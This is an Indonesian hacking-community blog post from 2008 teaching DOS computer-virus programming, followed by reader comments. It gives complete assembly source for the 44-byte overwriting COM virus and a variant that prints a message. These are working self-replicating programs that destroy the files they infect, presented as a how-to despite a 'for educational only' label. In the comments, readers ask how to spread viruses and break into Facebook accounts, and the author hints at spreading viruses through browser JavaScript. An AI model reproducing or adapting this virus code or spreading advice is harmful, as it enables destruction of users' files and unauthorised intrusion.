Binus Hacker - Independent Hacking Community   Subscribe to Binus Hacker Subscribe to Binus Hacker

Pemrograman Virus Komputer

14 November 2008
Penulis: UtuH   · Kategori Artikel: Cracking, Virus

Binus Hacker Sponsor Banner


PEMPROGRAMAN VIRUS KOMPUTER

4. 1. Cara Kerja Virus Komputer

Cara kerja Virus Komputer pada umumnya adalah menyebarkan dirinya dengan cara antara lain menularkan file-file executable atau file-file yang bisa dijalankan langsung dari DOS Command line . Untuk memperjelas mekanisme penyebaran di ilustrasikan pada gambar dibawah ini :

Gambar 4.1. Mekanisme Penularan

Sudah jadi sifat virus jika dia dijalankan, maka ia menulari program aplikasi yang lain, yang di maksud menulari adalah menyalin dirinya atau program virus tersebut ke program aplikasi lainnya, jika dalm hal ini yang tertular adalah program Aplikasi 1, maka apabila program aplikasi 1 tersebut dijalankan, maka program aplikasi 1 yang sudah serinfeksi virus itu akan menularkan virus pada program aplikasi yang ke 2 , maka baik program aplikasi 1 maupun 2, sudah merupakan program pemikul bagi virus itu sendiri, yang akan menularkan seluruh program aplikasi yang ada.

Agar bisa bertindak sebagai virus komputer, sebuah program harus mempunyai 5 buah kemampuan yang merupakan prinsip dari virus komputer. Kelima kemampuan itu adalah :

  1. Kemampuan mendapatkan informasi

  2. Kemampuan memeriksa program

  3. Kemampuan menggandakan diri / menularkan

  4. Kemampuan mengadakan manipulasi

  5. Kemampuan menyembunyikan diri sendiri

Satu persatu kemampuan itu akan dijelaskan pada subbab selanjutnya

4. 1.1. Kemampuan mendapatkan Informasi

Pada Virus Komputer kemampuan untuk mendapatkan informasi sangat penting, terutama informasi mengenai file yang akan diinfeksi, Virus Komputer biasa nya tidak menulari 1 program saja, tapi sekumpulan program, contohnya File-file EXE, file-file COM, atau kedua-duanya, virus harus mendapatkan informasi tentang file tersebut pada directory, hal-hal mengenai informasi pada file yang perlu diketahui antara lain :

1. Apakah Extensi File tersebut ( COM,EXE, BAT)
2. Apa Atribut file ( Hidden, Readonly, Archive)
3. Besar File Yang akan Di infeksi

Informasi tersebut sangat bermanfaat bagi virus, dimana informasi mengenai Extension file berguna untuk virus yang menyerang file-file tertentu contohnya virus yang menyerang file EXE, virus tersebut harus mencari file-file EXE yang akan ditulari.

Informasi attribut berguna untuk memberikan pilihan pada virus apakah dapat menyerang file dengan attribut Readonly, Hidden ataukan virus harus mengeset attribut file-file tersebut menjadi Normal, sehingga virus dapat menulari.

Informasi tentang ukuran file berguna untuk operasi matematis yang akan menghitung berapa besar file yang sudah tertular, dimana

Besar_file_terinfeksi = file_asli + Virus_size

Fungsi ini terutama dipakai oleh virus Non OverWriting. Dibawah ini cuplikan metode virus untuk mendapatkan informasi tentang File :

Start : mov dx,offset File_to_infect ; cari seluruh file Mov ah,4Eh
Mov cx, 3 ; Attribut File    ; cari host file

———

int 21h     ; Dos Intrupt
cmp ax,12h  ; Ada file lagi

je exit     ; kalau tidak ada exit

———

file_to_infect db “*.COM” ; File yang akan diinfeksi
ends start                ; akhir kode Virus

Listing 4.1. Search First File

Dimana Dx menuju ke alamat yang berisi nama file yang akan di infeksi, sedangkan disini di gunakan DOS Interupt 21H dengan Service ah, 4EH yang berguna untuk mencari file pertama yang cocok dengan DX ( Find First Matching File), dan mendapat kan informasi tentang file yang berada di dalam directory, biasanya fungsi 4Eh ini selalu berpasangan dengan 4Fh, yaitu fungsi untuk mencari file berikutnya yang cocok ( Find Next Maching File), sedangkan nilai CX,3 digunakan untuk mengecek attribut dari file, apakah Hidden, ReadOnly, virus dapt mengeset kembali attribut file menjadi normal, sehingga virus dapat menginfeksi file tersebut.

4. 1. 2. Kemampuan Untuk Memeriksa Program

Kemampuan untuk memeriksa program sangat penting bagi Virus Komputer , karena untuk mengetahui apakah file target sudah tertular atau belum, ini sangat penting karena virus tidak akan menularkan dirinya berkali-kali pada file yang sama, selain untuk mempercepat proses penularan juga untuk menjaga agar file korban tidak rusak, karena apabila penularan dilakukan berulang-ulang pada file yang sama, CRC dari file tersebut akan kacau dan menyebabkan file yang tertular tidak jalan, biasaanya file rusak tersebut akan mengeluarkan pesan Divide Over Flow, atau Error in Exe File, selain itu file yang berkali-kali diifeksi akan bertambah besar, dan akan mencurigakan pemakai komputer. Seperti digambarkan dalam flowchart berikut ini :

Gambar 4.2. Memeriksa Program

Berikut ini contoh listing dari kemampuan untuk memeriksa file

Mov ah, 3fh       ; Baca file
Mov cx, 3         ; baca 3 byte
Mov dx,3_byte     ; simpan pada buffer
Add dx,si         ; Nama file
Int 21h           ; Dos intrupt
Cmp a,3           ; Cek 3 byte tadi
Jnz cari_lagi     ; Jika sudah tertular exit
Jmp Infect        ; kalau belum , infect_file
3_byte equ $      ;data 3 byte pertama dari file asli
;yang belum tertular
infect_file :     ; bagian penginfeksian

———— ; rutin infeksi

int 20h ; Dos Exit function
nop ; No Operation

Listing 4.2 . Periksa File

Pada rutin diatas dapat dilihat bagai mana Virus Komputer memeriksa file korbannya, untuk memberikan identitas file mana yang sudah terinfeksi maupun yang belum, karena dengan memeriksa file korban, umumnya 3 byte pertama yang menandakan file tersebut sudah tertular / belum, 3 byte pertama tersebut umumnya intruksi JMP : offset (Untuk file COM) , kode ‘MZ’ pada header file EXE dan PE untuk File Aplikasi Windows

Rutin ini sangat penting untuk menghindari penularan berkali-kali pada file korban, juga untuk menpercepat penularan. Rutin ini dipakai oleh 90 % virus komputer untuk menularkan diri.

4. 1. 3. Kemampuan untuk menggandakan diri / Replicating

kemampuan ini merupakan inti utama dari Virus Komputer , karena virus komputer memang diprogram untuk menularkan, dan memperbanyak dirinya. Tugas dari rutin replicating ini adalah menyebarkan virus keseluruh system yang ditularinya, tugas dari rutin ini sangat berat karena rutin tersebut harus mampu menyebarkan virus dengan cepat dan tidak diketahui oleh pemakai komputer, selain itu rutin replicator harus dapat menjaga agar file yang ditularinnya tidak rusak ( Rutin untuk Virus Appending / NonOverwriting ), dan dapat berjalan sebagaimana mestinnya.

Cara kerja rutin replicator pada file COM lebih sederhana dari file EXE, karena struktur program EXE yang tidak terbatas besarnya yaitu ( sebesar memory di komputer ), sedangkan file COM hanya dibatasi sampai 64 Kb ( Base memory ). Rutin replikator pada file COM akan menditeksi dan mengcopy byte pertama dari file yang akan ditularinya, kedalam suatu daerah di memory, rutin tersebut dipindahkan kedalam daerah lain dalam file.

File bersih                                 program Virus

Pada diagram diatas P1 adalah bagian pertama dari file, P2 adalah bagian kedua dari file korban. P1 harus sama besar dengan V1 (rutin virus) , rutin virus akan menyimpan P1 dan mengcopynya pada bagian akhir dari file.

Setelah itu virus akan mengcopykan bagian pertama dari dirinya (V1) ke bagian awal file korban. Dimana V1 berisi instruksi JMP:V2, yaitu instruksi untuk memanggil badan Virus yang ada di belakang file korban.

Kemudian virus akan mengcopykan bagian kedunya (V2) yang merupakan badan virus ke akhir file yang ditulari, V2 ini biasanya berisi rutin-rutin lain seperti rutin untuk pengaman, rutin untuk melakukan aksi tertentu dan lain-lain. Rutin tersebut dapat dilihat dibawah ini :

Dalam program dapat diambil contoh 44-Virus.Com , yang merupakan virus sepanjang 44 byte, dengan cara kerja Overwriting file Com yang ada dalam suatu directory sepanjang badan Virus itu sendiri yaitu 44 Byte, virus ini masih sangat sederhana dan belum mempunyai rutin-rutin pengaman, maupun kemampuan untuk memeriksa program, ataupun rutin untuk aksi-aksi tertentu , dalam contoh dibawah ini virus hanya mempunyai kemampuan untuk menulari file Com.

Namun demikian dapat kita lihat bagaimana virus akan berkembang dengan cara menggandakan dirinya dalam program Com.

Berikut ini listing dari 44-Virus.Asm :


virus segment
org 100h ; file COM
assume cs:virus

len equ offset last-100h ;Panjang virus = Akhir program – awal program
start : mov ah,04eh      ; Cari file dengan kategori file COM
xor cx,cx                ; cx 0, = hanya file dengan atrribut Normal
lea dx,com_mask          ; Nama file COM masukan ke register DX
int 21h                  ; Dos Intrupt
open_file : mov ax,3d02h ; Buka file dengan mode Baca/Tulis
mov dx,9eh
Int 21h
Infect : mov cx,len     ; cx diisi panjang badan virus
lea dx,start            ; Masukan header Virus “V1″ pada DX
Mov ah,40h              ; Tulis badan virus dalam file korban
Int 21h                 ; Dos Intrupt
Next : mov ah,3eh       ; Tutup file korban
int 21h
mov ah,4fh    ; Cari file korban lagi
int 21h
jnb open_file ; Apa sudah semua file Com ? kalau belum jmp ke Open_file
; Kalau sudah semua terinfeksi Exit

com_mask: db “*.COM”,0 ; File dengan ekstensi Com
last : db 090h         ; Akhir badan virus “V2″
virus ends

end start


Listing 4.3. Replicating / Penggandaan

4. 1. 4. Kemampuan Mengadakan Manipulasi

Kemampuan untuk mengadakan manipulasi sangat penting dilakukan oleh virus, karena bagian ini sebetulnya yang membuat virus komputer menarik, dan mempunyai seni dalam pembuatannya. Bagian manipulasi atau rutin manipulasi ini banyak macamnya, dan fungsinya, suatu virus dapat mempunyai salah satu diantara rutin-rutin manipulasi ini maupun gabungan antara rutin-rutin manipulasi tersebut. yang pasti, makin banyak rutin manipulasi yang dipakai oleh virus, maka akan makin besar ukuran virus yang dibuat. Diantara rutin-rutin manipulasi yang ada, yang sering digunakan adalah :

  1. Menampilkan tulisan / kata-kata / gambar

  2. Membunyikan port speaker

  3. Time bomb / logic Bomb

4.1.4.1. Menampilkan Tulisan / gambar

Rutin ini yang paling banyak dipakai oleh pembuat Virus Komputer , karena rutin ini selain untuk kepopularitas virus maupun pembuatnya, juga akan membuat virusnya mudah dikenal oleh para pemakai komputer, selain itu rutin ini membutuhkan suatu kreatifitas tinggi dan jiwa seni dari pembuatnya yang akan membuat virus ini akan menarik. Listing program dibawah ini akan memberikan contoh pembuatan rutin ini.



virus segment
org 100h
assume cs:virus

len equ offset last-100h ; Panjang virus = Akhir program – awal program
start : jmp mulai

msg db ‘ Modification of 44 Virus ‘,13,10
db ‘ © 2000,iwing[indovirus] ’,13,10
db ‘ – For Educational Only -$’,13,10

mulai : mov ah,09        ; Dos service 09h = Cetak String
lea dx,msg               ; dx berisi pesan yang akan dicetak
int 21h ; Dos intrupt
go : mov ah,04eh         ; Cari file dengan kategori file COM
xor cx,cx                ; cx 0, = hanya file dengan atrribut Normal
lea dx,com_mask          ; Nama file COM masukan ke register DX
int 21h                  ; Dos Intrupt
open_file : mov ax,3d02h ; Buka file dengan mode Baca/Tulis
mov dx,9eh
Int 21h
infect : mov cx,len ; cx diisi panjang badan virus
lea dx,start           ; Masukan header Virus “V1″ pada DX
mov ah,40h             ; Tulis badan virus dalam file korban
Int 21h                ; Dos Intrupt
Next : mov ah,3eh      ; Tutup file korban
int 21h
mov ah,4fh             ; Cari file korban lagi
int 21h
jnb open_file          ; Apa sudah semua file Com ?,kalau belum jmp ke Open_file
; Kalau sudah semua terinfeksi Exit

com_mask: db “*.COM”,0 ; File dengan ekstensi Com
last : int 20h         ; Akhir badan virus “V2″

virus ends

end start


Listing. 4.4. Rutin Cetak String

Pada listing program virus diatas dapat dilihat, modifikasi dari virus 44 byte
Dengan tambahan rutin untuk menampilkan string :

Modification of 44 Virus
© 2000,iwing[indovirus]
-For Educational Only –

setiap kali penularan. Disini dapat dilihat rutin yang menampilkan pesan tadi yaitu

mulai : mov ah,09 ; Dos service 09h = Cetak String
lea dx,msg ; dx berisi pesan yang akan dicetak
int 21h ; Dos intrupt

Binus Hacker Sponsor Banner

Komentar

30 Komentar Untuk “Pemrograman Virus Komputer
Silahkan Berikan Tanggapan Anda Untuk Artikel Ini...

  1. john pada 18 October 2008 7:17 am

    bgmn cara menyebarkan viris ke internet…..?tolong jelaskn.terima kasih…

  2. john pada 18 October 2008 7:19 am

    penyebaran virus ke internet….?

  3. utuhwibowo pada 19 October 2008 4:46 pm

    Menggunakan JavaScript – Server Client..
    Dimana Client Bisa mengeksekusi lewat browser

    Dan virus otomatis ke download, next :)

    Ntr di buatin artikelnya.. Semoga.. ^^

  4. Ngenet pada 26 October 2008 11:59 pm

    Siang mas….

    Numpang nyedot artikel virusnya ya…!!

  5. faris pada 25 November 2008 11:55 pm

    mas cara membobol frienter bagai mana
    apakah sama sofwere
    kalau sama sofwere
    aku minta sofwerenya

  6. Ono pada 26 March 2009 5:35 am

    Helo mas numpang tindih ya… skalian mo nanya sofware untuk membuka file extension (NTR) soalnya saya punya data-data berbentuk file NTR yang di dalamnya terdapat beberapa PIN rahasia pengguna ATM

  7. fadil pada 22 May 2009 8:42 am

    mau tanya mas .. cara set file icon pada exe yang dibuat di borland C++ gmn caranya ?? soalnya kalo pake software psti trial version n hasil nya psti jlek .. klu lgnsng dari pmrograman borland C++ gmn ?? kasi tutorialnya dun9 ..

    mngkin bisa di kirim ke email saya atau kalau sudah di posting di sini mngkin bisa kabarin saya lewat facebook

    alamatnya basilica_of_hell@yahoo.com

    thx

  8. dayat pada 29 June 2009 9:08 pm

    tolong donk buatin virus deng assesmbli

  9. arham pada 31 July 2009 8:20 am

    hallo mas……/ g mana cara bikin anti virus ?

  10. m45t3r_w1nd pada 20 August 2009 6:42 pm

    mas mau tanya gimana caranya non aktifkan deepfrees??

    karena setiap saya instal atau copy data tu gak masuk setelah di restart

    kasih solusinya kirim lewat email aja

    yuda.bondan@yahoo.com

    segera

  11. michael chris pada 7 September 2009 7:26 am

    salam buat senior2 hacker Binus…^_^
    thx ya bwt all the tutor …
    sering2 share lagi..
    n maju trus yo para hacker2 senior n junior2…
    moga2 ga cm anak2 binus aja tp smuanya…
    ciayoooooo

  12. erwin pada 19 October 2009 5:43 am

    Mw nanya mas.bagaimana membobol facebook.tlg kasih ntw ya mas caranya
    thank’s

  13. jopink pada 10 November 2009 8:02 pm

    tolong kirimin cara ngejebol pasword facebook donk….??????thank.s

  14. alfan pada 10 November 2009 11:53 pm

    maaf mas numpang tanya…..
    gimana cara nulis keterangan virus dan bagai mana cara menginginkan virus yang kita inginkan……terima kasih

  15. setiya pada 21 December 2009 10:52 pm

    maz, q pgn buat antiviruz bisa ngajarin gag????????

  16. Openk pada 27 December 2009 10:34 pm

    virus virus virus

  17. Gama pada 29 December 2009 7:49 am

    ajarin bwat anti virusnya dong..
    ntar klo ako buat virus bingung cara bersihinnya >.<

  18. apriyadi pada 22 January 2010 7:47 pm

    ka, bagaimana cara mncegah virus d kmptr kt. mskipun sdh pke anti virus tapi tetap saja tembus hehe
    tlong d jlasin ya
    mks

  19. satria__ pada 4 February 2010 2:10 am

    bos ad virus yang bsa d buat mlalaui visual basic 6.0 ato c++

    ajarin ya bosssssssss……………………

    :D :D :D

  20. ryan pada 10 February 2010 11:55 pm

    cara membuat virus gimana sih…….. cara menularkannya gi mana…….

  21. Bambang pada 17 February 2010 11:26 pm

    viruss virusss ,tolongggggggggggggggggggggggg kompi wa virusannnnnn

  22. bahasa_pemrograman pada 21 February 2010 5:23 am

    mas Utuh, ada tutor cara buat virus pake Assembly dan Delphi gak??
    kalo ada ajarin dong caranya terus kasih source code nya.
    trims b4 . . .

    @satri_pada: kalo buat virus pake VB 6.0 mah emang rata” virus lokal dibuat paling banyak dr VB 6.0

  23. HackerDos pada 27 February 2010 4:51 am

    Bos…,,,Kunjungi Hackidozone.blogspot.com ya !! kita sharing ilmu disana !! OK?

  24. ameru pada 17 March 2010 11:20 pm

    aaaaa tolong bantu w donk ,,,, w gmn buat virus trojan hoers tapi melalui notepad or dreamweaver please w mohon kesel neh w

  25. minion pada 26 March 2010 5:25 am

    om minta panduan membuat virus sederhana atau berat pake borland c++

  26. ryan pada 29 March 2010 1:05 am

    cra taKlukiN viRus ter ganas gMna siiH
    trs tLong ajarIn BkiN anti viruuS doOnk,,,

  27. uun pada 5 April 2010 10:50 pm

    numpang nyedot yach…..!

  28. M imam nasrudin pada 22 April 2010 5:54 pm

    Bos ajari aq buat virus y….
    Krm ke email aq.Berapapun biayanya.Thanks

  29. cahyono ronaldo pada 6 May 2010 9:36 am

    takut bro
    ane masih newbie…

  30. mamz pada 20 May 2010 3:05 am

    mas trus cara membasmi virus yang seperti itu gimana ??

    trus virus,trojan,atau worm . . lebih bahaya yang mana ?? maklum saya masih pemula , sangat pemula jadi tolong bantuannya . . . .!!!?

Silahkan Berikan Tanggapan Anda...